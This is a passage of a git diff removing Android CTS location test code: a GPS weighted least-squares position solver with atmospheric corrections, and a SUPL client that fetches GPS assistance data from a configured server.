- doAtmosphericCorrections = true;
- }
- // Calculate satellites' positions, measurement residual per visible satellite and weight
- // matrix for the iterative least square
- satPosPseudorangeResidualAndWeight = calculateSatPosAndPseudorangeResidual(navMessageProto,
- usefulSatellitesToReceiverMeasurements, receiverGPSTowAtReceptionSeconds, receiverGPSWeek,
- dayOfYear1To366, positionSolutionECEF, doAtmosphericCorrections);
-
- // Calculate the geometry matrix according to "Global Positioning System: Theory and
- // Applications", Parkinson and Spilker page 413
- geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
- satPosPseudorangeResidualAndWeight.satellitesPositionsMeters, positionSolutionECEF));
- // Apply weighted least square only if the covariance matrix is
- // not singular (has a non-zero determinant), otherwise apply ordinary least square.
- // The reason is to ignore reported signal to noise ratios by the receiver that can
- // lead to such singularities
- if (weightMatrixMetersMinus2 == null) {
- weightedGeometryMatrix = geometryMatrix;
- } else {
- RealMatrix hMatrix =
- calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
- weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
- .multiply(weightMatrixMetersMinus2);
- }
-
- // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons",
- // Parkinson and Spilker
- deltaPositionMeters =
- GpsMathOperations.matrixByColVectMultiplication(
- weightedGeometryMatrix.getData(),
- satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
-
- // Apply corrections to the position estimate
- positionSolutionECEF[0] += deltaPositionMeters[0];
- positionSolutionECEF[1] += deltaPositionMeters[1];
- positionSolutionECEF[2] += deltaPositionMeters[2];
- positionSolutionECEF[3] += deltaPositionMeters[3];
- numberOfIterations++;
- Preconditions.checkArgument(numberOfIterations <= MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS,
- "Maximum number of least square iterations reached without convergance...");
- }
- return satPosPseudorangeResidualAndWeight;
- }
-
- /**
- * Removes satellites that have residuals above {@value #RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS}
- * from the {@code usefulSatellitesToReceiverMeasurements} list. Returns true if any satellite is
- * removed.
- */
- private boolean removeHighResidualSats(
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
- boolean repeatLeastSquare,
- SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
- int satsWithResidualBelowThreshold) {
-
- for (int i = 0; i < satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length; i++) {
- if (satsWithResidualBelowThreshold > MINIMUM_NUMER_OF_SATELLITES) {
- if (Math.abs(satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters[i])
- > RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS) {
- int prn = satPosPseudorangeResidualAndWeight.satellitePRNs[i];
- usefulSatellitesToReceiverMeasurements.set(prn - 1, null);
- satsWithResidualBelowThreshold--;
- repeatLeastSquare = true;
- }
- }
- }
- return repeatLeastSquare;
- }
-
- /**
- * Calculates position of all visible satellites and pseudorange measurement residual (difference
- * of measured to predicted pseudoranges) needed for the least square computation. The result is
- * stored in an instance of {@link SatellitesPositionPseudorangesResidualAndCovarianceMatrix}
- *
- * @param navMeassageProto parameters of the navigation message
- * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
- * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
- * computing the position solution
- * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
- * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
- * @param dayOfYear1To366 The day of the year between 1 and 366
- * @param userPositionECEFMeters receiver ECEF position in meters
- * @param doAtmosphericCorrections boolean indicating if atmospheric range corrections should be
- * applied
- * @return SatellitesPositionPseudorangesResidualAndCovarianceMatrix Object containing satellite
- * prns, satellite positions in ECEF, pseudorange residuals and covariance matrix.
- */
- public SatellitesPositionPseudorangesResidualAndCovarianceMatrix
- calculateSatPosAndPseudorangeResidual(
- GpsNavMessageProto navMeassageProto,
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
- double receiverGPSTowAtReceptionSeconds,
- int receiverGpsWeek,
- int dayOfYear1To366,
- double[] userPositionECEFMeters,
- boolean doAtmosphericCorrections)
- throws Exception {
- int numberOfUsefulSatellites =
- getNumberOfusefulSatellites(usefulSatellitesToReceiverMeasurements);
- // deltaPseudorange is the pseudorange measurement residual
- double[] deltaPseudorangesMeters = new double[numberOfUsefulSatellites];
- double[][] satellitesPositionsECEFMeters = new double[numberOfUsefulSatellites][3];
-
- // satellite PRNs
- int[] satellitePRNs = new int[numberOfUsefulSatellites];
-
- // Ionospheric model parameters
- double[] alpha =
- {navMeassageProto.iono.alpha[0], navMeassageProto.iono.alpha[1],
- navMeassageProto.iono.alpha[2], navMeassageProto.iono.alpha[3]};
- double[] beta = {navMeassageProto.iono.beta[0], navMeassageProto.iono.beta[1],
- navMeassageProto.iono.beta[2], navMeassageProto.iono.beta[3]};
- // Weight matrix for the weighted least square
- RealMatrix covarianceMatrixMetersSquare =
- new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
- calculateSatPosAndResiduals(
- navMeassageProto,
- usefulSatellitesToReceiverMeasurements,
- receiverGPSTowAtReceptionSeconds,
- receiverGpsWeek,
- dayOfYear1To366,
- userPositionECEFMeters,
- doAtmosphericCorrections,
- deltaPseudorangesMeters,
- satellitesPositionsECEFMeters,
- satellitePRNs,
- alpha,
- beta,
- covarianceMatrixMetersSquare);
-
- return new SatellitesPositionPseudorangesResidualAndCovarianceMatrix(satellitePRNs,
- satellitesPositionsECEFMeters, deltaPseudorangesMeters,
- covarianceMatrixMetersSquare.getData());
- }
-
- /**
- * Calculates and fill the position of all visible satellites:
- * {@code satellitesPositionsECEFMeters}, pseudorange measurement residual (difference of measured
- * to predicted pseudoranges): {@code deltaPseudorangesMeters} and covariance matrix from the
- * weighted least square: {@code covarianceMatrixMetersSquare}. An array of the satellite PRNs
- * {@code satellitePRNs} is as well filled.
- */
- private void calculateSatPosAndResiduals(
- GpsNavMessageProto navMeassageProto,
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
- double receiverGPSTowAtReceptionSeconds,
- int receiverGpsWeek,
- int dayOfYear1To366,
- double[] userPositionECEFMeters,
- boolean doAtmosphericCorrections,
- double[] deltaPseudorangesMeters,
- double[][] satellitesPositionsECEFMeters,
- int[] satellitePRNs,
- double[] alpha,
- double[] beta,
- RealMatrix covarianceMatrixMetersSquare)
- throws Exception {
- // user position without the clock estimate
- double[] userPositionTempECEFMeters =
- {userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]};
- int satsCounter = 0;
- for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
- if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
- GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMeassageProto, i + 1);
- // Correct the receiver time of week with the estimated receiver clock bias
- receiverGPSTowAtReceptionSeconds =
- receiverGPSTowAtReceptionSeconds - userPositionECEFMeters[3] / SPEED_OF_LIGHT_MPS;
-
- double pseudorangeMeasurementMeters =
- usefulSatellitesToReceiverMeasurements.get(i).pseudorangeMeters;
- double pseudorangeUncertaintyMeters =
- usefulSatellitesToReceiverMeasurements.get(i).pseudorangeUncertaintyMeters;
-
- // Assuming uncorrelated pseudorange measurements, the covariance matrix will be diagonal as
- // follows
- covarianceMatrixMetersSquare.setEntry(satsCounter, satsCounter,
- pseudorangeUncertaintyMeters * pseudorangeUncertaintyMeters);
-
- // Calculate time of week at transmission time corrected with the satellite clock drift
- GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
- calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
- receiverGpsWeek, pseudorangeMeasurementMeters);
-
- // calculate satellite position and velocity
- PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
- .calculateSatellitePositionAndVelocityFromEphemeris(ephemeridesProto,
- correctedTowAndWeek.gpsTimeOfWeekSeconds, correctedTowAndWeek.weekNumber,
- userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
-
- satellitesPositionsECEFMeters[satsCounter][0] = satPosECEFMetersVelocityMPS.positionXMeters;
- satellitesPositionsECEFMeters[satsCounter][1] = satPosECEFMetersVelocityMPS.positionYMeters;
- satellitesPositionsECEFMeters[satsCounter][2] = satPosECEFMetersVelocityMPS.positionZMeters;
-
- // Calculate ionospheric and tropospheric corrections
- double ionosphericCorrectionMeters;
- double troposphericCorrectionMeters;
- if (doAtmosphericCorrections) {
- ionosphericCorrectionMeters =
- IonosphericModel.ionoKloboucharCorrectionSeconds(
- userPositionTempECEFMeters,
- satellitesPositionsECEFMeters[satsCounter],
- correctedTowAndWeek.gpsTimeOfWeekSeconds,
- alpha,
- beta,
- IonosphericModel.L1_FREQ_HZ)
- * SPEED_OF_LIGHT_MPS;
-
- troposphericCorrectionMeters =
- calculateTroposphericCorrectionMeters(
- dayOfYear1To366,
- satellitesPositionsECEFMeters,
- userPositionTempECEFMeters,
- satsCounter);
- } else {
- troposphericCorrectionMeters = 0.0;
- ionosphericCorrectionMeters = 0.0;
- }
- double predictedPseudorangeMeters =
- calculatePredictedPseudorange(userPositionECEFMeters, satellitesPositionsECEFMeters,
- userPositionTempECEFMeters, satsCounter, ephemeridesProto, correctedTowAndWeek,
- ionosphericCorrectionMeters, troposphericCorrectionMeters);
-
- // Pseudorange residual (difference of measured to predicted pseudoranges)
- deltaPseudorangesMeters[satsCounter] =
- pseudorangeMeasurementMeters - predictedPseudorangeMeters;
-
- // Satellite PRNs
- satellitePRNs[satsCounter] = i + 1;
- satsCounter++;
- }
- }
- }
-
- /** Searches ephemerides list for the ephemeris associated with current satellite in process */
- private GpsEphemerisProto getEphemerisForSatellite(GpsNavMessageProto navMeassageProto,
- int satPrn) {
- List<GpsEphemerisProto> ephemeridesList
- = new ArrayList<GpsEphemerisProto>(Arrays.asList(navMeassageProto.ephemerids));
- GpsEphemerisProto ephemeridesProto = null;
- int ephemerisPrn = 0;
- for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
- ephemerisPrn = ephProtoFromList.prn;
- if (ephemerisPrn == satPrn) {
- ephemeridesProto = ephProtoFromList;
- break;
- }
- }
- return ephemeridesProto;
- }
-
- /** Calculates predicted pseudorange in meters */
- private double calculatePredictedPseudorange(double[] userPositionECEFMeters,
- double[][] satellitesPositionsECEFMeters, double[] userPositionNoClockECEFMeters,
- int satsCounter, GpsEphemerisProto ephemeridesProto,
- GpsTimeOfWeekAndWeekNumber correctedTowAndWeek, double ionosphericCorrectionMeters,
- double troposphericCorrectionMeters) throws Exception {
- // Calcualte the satellite clock drift
- double satelliteClockCorrectionMeters =
- SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
- ephemeridesProto, correctedTowAndWeek.gpsTimeOfWeekSeconds,
- correctedTowAndWeek.weekNumber).satelliteClockCorrectionMeters;
-
- double satelliteToUserDistanceMeters =
- GpsMathOperations.vectorNorm(GpsMathOperations.subtractTwoVectors(
- satellitesPositionsECEFMeters[satsCounter], userPositionNoClockECEFMeters));
-
- // Predicted pseudorange
- double predictedPseudorangeMeters =
- satelliteToUserDistanceMeters - satelliteClockCorrectionMeters + ionosphericCorrectionMeters
- + troposphericCorrectionMeters + userPositionECEFMeters[3];
- return predictedPseudorangeMeters;
- }
-
- /** Calculates the Gps troposheric correction in meters */
- private double calculateTroposphericCorrectionMeters(int dayOfYear1To366,
- double[][] satellitesPositionsECEFMeters, double[] userPositionTempECEFMeters,
- int satsCounter) {
- double troposphericCorrectionMeters;
- TopocentricAEDValues elevationAzimuthDist =
- EcefToTopocentricConverter.convertCartesianToTopocentericRadMeters(
- userPositionTempECEFMeters, GpsMathOperations.subtractTwoVectors(
- satellitesPositionsECEFMeters[satsCounter], userPositionTempECEFMeters));
-
- GeodeticLlaValues lla =
- Ecef2LlaConverter.convertECEFToLLACloseForm(userPositionTempECEFMeters[0],
- userPositionTempECEFMeters[1], userPositionTempECEFMeters[2]);
-
- double elevationMetersAboveSeaLevel = 0.0;
- if (calculateGeoidMeters) {
- geoidHeightMeters = lla.altitudeMeters;
- troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
- elevationAzimuthDist.elevationRadians, lla.latitudeRadians, elevationMetersAboveSeaLevel,
- dayOfYear1To366);
- } else {
- troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
- elevationAzimuthDist.elevationRadians, lla.latitudeRadians,
- lla.altitudeMeters - geoidHeightMeters, dayOfYear1To366);
- }
- return troposphericCorrectionMeters;
- }
-
- /**
- * Gets the number of useful satellites from a list of
- * {@link GpsMeasurementWithRangeAndUncertainty}.
- */
- private int getNumberOfusefulSatellites(
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements) {
- // calculate the number of useful satellites
- int numberOfUsefulSatellites = 0;
- for (int i = 0; i < usefulSatellitesToReceiverMeasurements.size(); i++) {
- if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
- numberOfUsefulSatellites++;
- }
- }
- return numberOfUsefulSatellites;
- }
-
- /**
- * Computes the GPS time of week at the time of transmission and as well the corrected GPS week
- * taking into consideration week rollover. The returned GPS time of week is corrected by the
- * computed satellite clock drift. The result is stored in an instance of
- * {@link GpsTimeOfWeekAndWeekNumber}
- *
- * @param ephemerisProto parameters of the navigation message
- * @param receiverGpsTowAtReceptionSeconds Receiver estimate of GPS time of week when signal was
- * received (seconds)
- * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
- * @param pseudorangeMeters Measured pseudorange in meters
- * @return GpsTimeOfWeekAndWeekNumber Object containing Gps time of week and week number.
- */
- private static GpsTimeOfWeekAndWeekNumber calculateCorrectedTransmitTowAndWeek(
- GpsEphemerisProto ephemerisProto, double receiverGpsTowAtReceptionSeconds,
- int receiverGpsWeek, double pseudorangeMeters) throws Exception {
- // GPS time of week at time of transmission: Gps time corrected for transit time (page 98 ICD
- // GPS 200)
- double receiverGpsTowAtTimeOfTransmission =
- receiverGpsTowAtReceptionSeconds - pseudorangeMeters / SPEED_OF_LIGHT_MPS;
-
- // Adjust for week rollover
- if (receiverGpsTowAtTimeOfTransmission < 0) {
- receiverGpsTowAtTimeOfTransmission += SECONDS_IN_WEEK;
- receiverGpsWeek -= 1;
- } else if (receiverGpsTowAtTimeOfTransmission > SECONDS_IN_WEEK) {
- receiverGpsTowAtTimeOfTransmission -= SECONDS_IN_WEEK;
- receiverGpsWeek += 1;
- }
-
- // Compute the satellite clock correction term (Seconds)
- double clockCorrectionSeconds =
- SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
- ephemerisProto, receiverGpsTowAtTimeOfTransmission,
- receiverGpsWeek).satelliteClockCorrectionMeters / SPEED_OF_LIGHT_MPS;
-
- // Correct with the satellite clock correction term
- double receiverGpsTowAtTimeOfTransmissionCorrectedSec =
- receiverGpsTowAtTimeOfTransmission + clockCorrectionSeconds;
-
- // Adjust for week rollover due to satellite clock correction
- if (receiverGpsTowAtTimeOfTransmissionCorrectedSec < 0.0) {
- receiverGpsTowAtTimeOfTransmissionCorrectedSec += SECONDS_IN_WEEK;
- receiverGpsWeek -= 1;
- }
- if (receiverGpsTowAtTimeOfTransmissionCorrectedSec > SECONDS_IN_WEEK) {
- receiverGpsTowAtTimeOfTransmissionCorrectedSec -= SECONDS_IN_WEEK;
- receiverGpsWeek += 1;
- }
- return new GpsTimeOfWeekAndWeekNumber(receiverGpsTowAtTimeOfTransmissionCorrectedSec,
- receiverGpsWeek);
- }
-
- /**
- * Calculates the Geometry matrix (describing user to satellite geometry) given a list of
- * satellite positions in ECEF coordinates in meters and the user position in ECEF in meters.
- *
- * <p>The geometry matrix has four columns, and rows equal to the number of satellites. For each
- * of the rows (i.e. for each of the satellites used), the columns are filled with the normalized
- * line–of-sight vectors and 1 s for the fourth column.
- *
- * <p>Source: Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and
- * applications’ page 413
- */
- private static double[][] calculateGeometryMatrix(double[][] satellitePositionsECEFMeters,
- double[] userPositionECEFMeters) {
-
- double[][] geometeryMatrix = new double[satellitePositionsECEFMeters.length][4];
- for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
- geometeryMatrix[i][3] = 1;
- }
- // iterate over all satellites
- for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
- double[] r = {satellitePositionsECEFMeters[i][0] - userPositionECEFMeters[0],
- satellitePositionsECEFMeters[i][1] - userPositionECEFMeters[1],
- satellitePositionsECEFMeters[i][2] - userPositionECEFMeters[2]};
- double norm = Math.sqrt(Math.pow(r[0], 2) + Math.pow(r[1], 2) + Math.pow(r[2], 2));
- for (int j = 0; j < 3; j++) {
- geometeryMatrix[i][j] =
- (userPositionECEFMeters[j] - satellitePositionsECEFMeters[i][j]) / norm;
- }
- }
- return geometeryMatrix;
- }
-
- /**
- * Class containing satellites' PRNs, satellites' positions in ECEF meters, the peseudorange
- * residual per visible satellite in meters and the covariance matrix of the pseudoranges in
- * meters square
- */
- private static class SatellitesPositionPseudorangesResidualAndCovarianceMatrix {
-
- /** Satellites' PRNs */
- private final int[] satellitePRNs;
-
- /** ECEF positions (meters) of useful satellites */
- private final double[][] satellitesPositionsMeters;
-
- /** Pseudorange measurement residuals (difference of measured to predicted pseudoranges) */
- private final double[] pseudorangeResidualsMeters;
-
- /** Pseudorange covariance Matrix for the weighted least squares (meters square) */
- private final double[][] covarianceMatrixMetersSquare;
-
- /** Constructor */
- private SatellitesPositionPseudorangesResidualAndCovarianceMatrix(int[] satellitePRNs,
- double[][] satellitesPositionsMeters, double[] pseudorangeResidualsMeters,
- double[][] covarianceMatrixMetersSquare) {
- this.satellitePRNs = satellitePRNs;
- this.satellitesPositionsMeters = satellitesPositionsMeters;
- this.pseudorangeResidualsMeters = pseudorangeResidualsMeters;
- this.covarianceMatrixMetersSquare = covarianceMatrixMetersSquare;
- }
-
- }
-
- /**
- * Class containing GPS time of week in seconds and GPS week number
- */
- private static class GpsTimeOfWeekAndWeekNumber {
- /** GPS time of week in seconds */
- private final double gpsTimeOfWeekSeconds;
-
- /** GPS week number */
- private final int weekNumber;
-
- /** Constructor */
- private GpsTimeOfWeekAndWeekNumber(double gpsTimeOfWeekSeconds, int weekNumber) {
- this.gpsTimeOfWeekSeconds = gpsTimeOfWeekSeconds;
- this.weekNumber = weekNumber;
- }
- }
-
- /**
- * Uses the common reception time approach to calculate pseudoranges from the time of week
- * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
- * As well computes the pseudoranges uncertainties for each input satellite
- */
- static List<GpsMeasurementWithRangeAndUncertainty> computePseudorangeAndUncertainties(
- List<GpsMeasurement> usefulSatellitesToReceiverMeasurements,
- Long[] usefulSatellitesToTOWNs,
- long largestTowNs) {
-
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
- Arrays.asList(
- new GpsMeasurementWithRangeAndUncertainty[MAX_NUMBER_OF_SATELLITES]);
- for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
- if (usefulSatellitesToTOWNs[i] != null) {
- double deltai = largestTowNs - usefulSatellitesToTOWNs[i];
- double pseudorangeMeters =
- (AVERAGE_TRAVEL_TIME_SECONDS + deltai * SECONDS_PER_NANO) * SPEED_OF_LIGHT_MPS;
-
- double signalToNoiseRatioLinear =
- Math.pow(10, usefulSatellitesToReceiverMeasurements.get(i).signalToNoiseRatioDb / 10.0);
- // From Global Positoning System book, Misra and Enge, page 416, the uncertainty of the
- // pseudorange measurement is calculated next.
- // For GPS C/A code chip width Tc = 1 microseconds. Narrow correlator with spacing d = 0.1
- // chip and an average time of DLL correlator T of 20 milliseconds are used.
- double sigmaMeters =
- SPEED_OF_LIGHT_MPS
- * GPS_CHIP_WIDTH_T_C_SEC
- * Math.sqrt(
- GPS_CORRELATOR_SPACING_IN_CHIPS
- / (4 * GPS_DLL_AVERAGING_TIME_SEC * signalToNoiseRatioLinear));
- usefulSatellitesToPseudorangeMeasurements.set(
- i,
- new GpsMeasurementWithRangeAndUncertainty(
- usefulSatellitesToReceiverMeasurements.get(i), pseudorangeMeters, sigmaMeters));
- }
- }
- return usefulSatellitesToPseudorangeMeasurements;
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
deleted file mode 100644
index e236668..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpController.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import android.location.cts.asn1.supl2.rrlp_components.IonosphericModel;
-import android.location.cts.asn1.supl2.rrlp_components.NavModelElement;
-import android.location.cts.asn1.supl2.rrlp_components.NavigationModel;
-import android.location.cts.asn1.supl2.rrlp_components.SatStatus;
-import android.location.cts.asn1.supl2.rrlp_components.UncompressedEphemeris;
-import android.location.cts.asn1.supl2.rrlp_messages.PDU;
-import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
-import android.location.cts.asn1.supl2.ulp.ULP_PDU;
-import android.location.cts.asn1.supl2.ulp.UlpMessage;
-import android.location.cts.asn1.supl2.ulp_components.SessionID;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import android.location.cts.nano.Ephemeris.IonosphericModelProto;
-import java.io.IOException;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A class that applies the SUPL protocol call flow to obtain GPS assistance data over a TCP
- * connection.
- *
- * <p>A rough location of the receiver has to be known in advance which is passed to the method
- * #generateNavMessage to obtain a GpsNavMessageProto containing the GPS assistance
- * data.
- *
- * <p>The SUPL protocol flaw is made over a TCP socket to a server specified by SUPL_SERVER_NAME
- * at port SUPL_SERVER_PORT.
- */
-public class SuplRrlpController {
- // Details of the following constants can be found in hte IS-GPS-200F which can be found at:
- // http://www.navcen.uscg.gov/pdf/is-gps-200f.pdf
- private static final double NAVIGATION_TGD_SCALE_FACTOR = Math.pow(2, -31);
- private static final double NAVIGATION_TOC_SCALE_FACTOR = Math.pow(2, 4);
- private static final double NAVIGATION_AF2_SCALE_FACTOR = Math.pow(2, -55);
- private static final double NAVIGATION_AF1_SCALE_FACTOR = Math.pow(2, -43);
- private static final double NAVIGATION_AF0_SCALE_FACTOR = Math.pow(2, -31);
- private static final double NAVIGATION_CRS_SCALE_FACTOR = Math.pow(2, -5);
- private static final double NAVIGATION_DELTA_N_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
- private static final double NAVIGATION_M0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
- private static final double NAVIGATION_CUC_SCALE_FACTOR = Math.pow(2, -29);
- private static final double NAVIGATION_E_SCALE_FACTOR = Math.pow(2, -33);
- private static final double NAVIGATION_CUS_SCALE_FACTOR = Math.pow(2, -29);
- private static final double NAVIGATION_A_POWER_HALF_SCALE_FACTOR = Math.pow(2, -19);
- private static final double NAVIGATION_TOE_SCALE_FACTOR = Math.pow(2, 4);
- private static final double NAVIGATION_CIC_SCALE_FACTOR = Math.pow(2, -29);
- private static final double NAVIGATION_OMEGA0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
- private static final double NAVIGATION_CIS_SCALE_FACTOR = Math.pow(2, -29);
- private static final double NAVIGATION_I0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
- private static final double NAVIGATION_CRC_SCALE_FACTOR = Math.pow(2, -5);
- private static final double NAVIGATION_W_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
- private static final double NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
- private static final double NAVIGATION_I_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
- private static final double IONOSPHERIC_ALFA_0_SCALE_FACTOR = Math.pow(2, -30);
- private static final double IONOSPHERIC_ALFA_1_SCALE_FACTOR = Math.pow(2, -27);
- private static final double IONOSPHERIC_ALFA_2_SCALE_FACTOR = Math.pow(2, -24);
- private static final double IONOSPHERIC_ALFA_3_SCALE_FACTOR = Math.pow(2, -24);
- private static final double IONOSPHERIC_BETA_0_SCALE_FACTOR = Math.pow(2, 11);
- private static final double IONOSPHERIC_BETA_1_SCALE_FACTOR = Math.pow(2, 14);
- private static final double IONOSPHERIC_BETA_2_SCALE_FACTOR = Math.pow(2, 16);
- private static final double IONOSPHERIC_BETA_3_SCALE_FACTOR = Math.pow(2, 16);
-
- // 3657 is the number of days between the unix epoch and GPS epoch as the GPS epoch started on
- // Jan 6, 1980
- private static final long GPS_EPOCH_AS_UNIX_EPOCH_MS = TimeUnit.DAYS.toMillis(3657);
- // A GPS Cycle is 1024 weeks, or 7168 days
- private static final long GPS_CYCLE_MS = TimeUnit.DAYS.toMillis(7168);
- private static final int GPS_CYCLE_WEEKS = 1024;
-
- private final String suplServerName;
- private final int suplServerPort;
-
- public SuplRrlpController(String suplServerName, int suplServerPort) {
- this.suplServerName = suplServerName;
- this.suplServerPort = suplServerPort;
- }
-
- /**
- * Applies the SUPL protocol call flaw to obtain the assistance data and store the result in a
- * GpsNavMessageProto
- */
- public GpsNavMessageProto generateNavMessage(long latE7, long lngE7)
- throws UnknownHostException, IOException {
- // Establishes a TCP socket that is used to send and receive SUPL messages
- SuplTcpClient tcpClient = new SuplTcpClient(suplServerName, suplServerPort);
-
- // Send a SUPL START message from the client to server
- byte[] suplStartMessage = SuplRrlpMessagesGenerator.generateSuplStartLocalLocationMessage(null);
- tcpClient.sendSuplRequest(suplStartMessage);
- // Receive a SUPL RESPONSE from the server and obtain the Session ID send by the server
- byte[] response = tcpClient.getSuplResponse();
- if (response == null) {
- return new GpsNavMessageProto();
- }
- ULP_PDU decodedMessage = ULP_PDU.fromPerUnaligned(response);
-
- if (!decodedMessage.getMessage().isMsSUPLRESPONSE()) {
- return new GpsNavMessageProto();
- }
- SessionID sessionId = decodedMessage.getSessionID();
-
- // Send a SUPL POS INIT message from the client to the server requesting GPS assistance data
- // for the location specified by the given latitude and longitude
- byte[] suplPosInitMessage = SuplRrlpMessagesGenerator
- .generateSuplPositionInitLocalLocationMessage(sessionId, latE7, lngE7);
- tcpClient.sendSuplRequest(suplPosInitMessage);
-
- // Receive a SUPL POS message from the server containing all the assitance data requested
- response = tcpClient.getSuplResponse();
- if (response == null) {
- return new GpsNavMessageProto();
- }
- decodedMessage = ULP_PDU.fromPerUnaligned(response);
-
- if (!decodedMessage.getMessage().isMsSUPLPOS()) {
- return new GpsNavMessageProto();
- }
- // build a NavMessageProto out of the received decoded payload from the SUPL server
- GpsNavMessageProto navMessageProto = buildNavMessageProto(decodedMessage);
-
- tcpClient.closeSocket();
-
- return navMessageProto;
- }
-
- /** Fills GpsNavMessageProto with the assistance data obtained in ULP_PDU */
- private GpsNavMessageProto buildNavMessageProto(ULP_PDU decodedMessage) {
- UlpMessage message = decodedMessage.getMessage();
-
- PosPayLoad.rrlpPayloadType rrlpPayload =
- message.getMsSUPLPOS().getPosPayLoad().getRrlpPayload();
- PDU pdu = PDU.fromPerUnaligned(rrlpPayload.getValue());
- IonosphericModel ionoModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
- .getControlHeader().getIonosphericModel();
- NavigationModel navModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
- .getControlHeader().getNavigationModel();
- int gpsWeek = pdu.getComponent().getAssistanceData().getGps_AssistData().getControlHeader()
- .getReferenceTime().getGpsTime().getGpsWeek().getInteger().intValue();
- gpsWeek = getGpsWeekWithRollover(gpsWeek);
- Iterable<NavModelElement> navModelElements = navModel.getNavModelList().getValues();
-
- GpsNavMessageProto gpsNavMessageProto = new GpsNavMessageProto();
- gpsNavMessageProto.rpcStatus = GpsNavMessageProto.UNKNOWN_RPC_STATUS;
-
- // Set Iono Model.
- IonosphericModelProto ionosphericModelProto = new IonosphericModelProto();
- double[] alpha = new double[4];
- alpha[0] = ionoModel.getAlfa0().getInteger().byteValue() * IONOSPHERIC_ALFA_0_SCALE_FACTOR;
- alpha[1] = ionoModel.getAlfa1().getInteger().byteValue() * IONOSPHERIC_ALFA_1_SCALE_FACTOR;
- alpha[2] = ionoModel.getAlfa2().getInteger().byteValue() * IONOSPHERIC_ALFA_2_SCALE_FACTOR;
- alpha[3] = ionoModel.getAlfa3().getInteger().byteValue() * IONOSPHERIC_ALFA_3_SCALE_FACTOR;
- ionosphericModelProto.alpha = alpha;
-
- double[] beta = new double[4];
- beta[0] = ionoModel.getBeta0().getInteger().byteValue() * IONOSPHERIC_BETA_0_SCALE_FACTOR;
- beta[1] = ionoModel.getBeta1().getInteger().byteValue() * IONOSPHERIC_BETA_1_SCALE_FACTOR;
- beta[2] = ionoModel.getBeta2().getInteger().byteValue() * IONOSPHERIC_BETA_2_SCALE_FACTOR;
- beta[3] = ionoModel.getBeta3().getInteger().byteValue() * IONOSPHERIC_BETA_3_SCALE_FACTOR;
- ionosphericModelProto.beta = beta;
-
